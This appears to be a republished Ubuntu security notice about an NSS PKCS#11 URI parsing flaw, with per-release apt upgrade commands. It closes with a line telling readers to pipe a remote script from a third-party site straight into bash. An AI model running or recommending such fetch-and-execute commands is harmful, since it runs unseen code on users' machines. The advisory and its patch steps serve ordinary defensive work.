Ubuntu USN · USN-8481-1

NSS vulnerability

Published: Mon, 29 Jun 2026 18:08

CVE-2026-12318

Summary

NSS could be made to crash or expose sensitive information if it received specially crafted input.

Details

Haruto Kimura discovered that NSS had incorrecty handled parsing PKCS#11 URI escape sequences. An attacker could possibly use this issue to cause NSS to crash, resulting in a denial of service, or obtain sensitive information.

Recommended actions per Ubuntu release

StackPatch playbook auto-generated per release codename and per affected package.

Ubuntu jammy

nss→2:3.98-0ubuntu0.22.04.4apt_upgrade
Standard apt upgrade. Install 2:3.98-0ubuntu0.22.04.4 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y nss
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
libnss3→2:3.98-0ubuntu0.22.04.4apt_upgrade
Standard apt upgrade. Install 2:3.98-0ubuntu0.22.04.4 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y libnss3
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
libnss3-dev→2:3.98-0ubuntu0.22.04.4apt_upgrade
Standard apt upgrade. Install 2:3.98-0ubuntu0.22.04.4 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y libnss3-dev
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
libnss3-tools→2:3.98-0ubuntu0.22.04.4apt_upgrade
Standard apt upgrade. Install 2:3.98-0ubuntu0.22.04.4 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y libnss3-tools
```
Most apt upgrades restart their service automatically. needrestart lists anything else.

Ubuntu noble

nss→2:3.98-1ubuntu0.2apt_upgrade
Standard apt upgrade. Install 2:3.98-1ubuntu0.2 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y nss
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
libnss3→2:3.98-1ubuntu0.2apt_upgrade
Standard apt upgrade. Install 2:3.98-1ubuntu0.2 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y libnss3
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
libnss3-dev→2:3.98-1ubuntu0.2apt_upgrade
Standard apt upgrade. Install 2:3.98-1ubuntu0.2 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y libnss3-dev
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
libnss3-tools→2:3.98-1ubuntu0.2apt_upgrade
Standard apt upgrade. Install 2:3.98-1ubuntu0.2 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y libnss3-tools
```
Most apt upgrades restart their service automatically. needrestart lists anything else.

Ubuntu questing

nss→2:3.114-1ubuntu0.2apt_upgrade
Standard apt upgrade. Install 2:3.114-1ubuntu0.2 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y nss
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
libnss3→2:3.114-1ubuntu0.2apt_upgrade
Standard apt upgrade. Install 2:3.114-1ubuntu0.2 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y libnss3
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
libnss3-dev→2:3.114-1ubuntu0.2apt_upgrade
Standard apt upgrade. Install 2:3.114-1ubuntu0.2 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y libnss3-dev
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
libnss3-tools→2:3.114-1ubuntu0.2apt_upgrade
Standard apt upgrade. Install 2:3.114-1ubuntu0.2 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y libnss3-tools
```
Most apt upgrades restart their service automatically. needrestart lists anything else.

Ubuntu resolute

nss→2:3.120-1ubuntu2.1apt_upgrade
Standard apt upgrade. Install 2:3.120-1ubuntu2.1 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y nss
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
libnss3→2:3.120-1ubuntu2.1apt_upgrade
Standard apt upgrade. Install 2:3.120-1ubuntu2.1 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y libnss3
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
libnss3-dev→2:3.120-1ubuntu2.1apt_upgrade
Standard apt upgrade. Install 2:3.120-1ubuntu2.1 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y libnss3-dev
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
libnss3-tools→2:3.120-1ubuntu2.1apt_upgrade
Standard apt upgrade. Install 2:3.120-1ubuntu2.1 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y libnss3-tools
```
Most apt upgrades restart their service automatically. needrestart lists anything else.

Are YOU affected by USN-8481-1?

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curl https://mindsparkstack.com/scan.sh | bash

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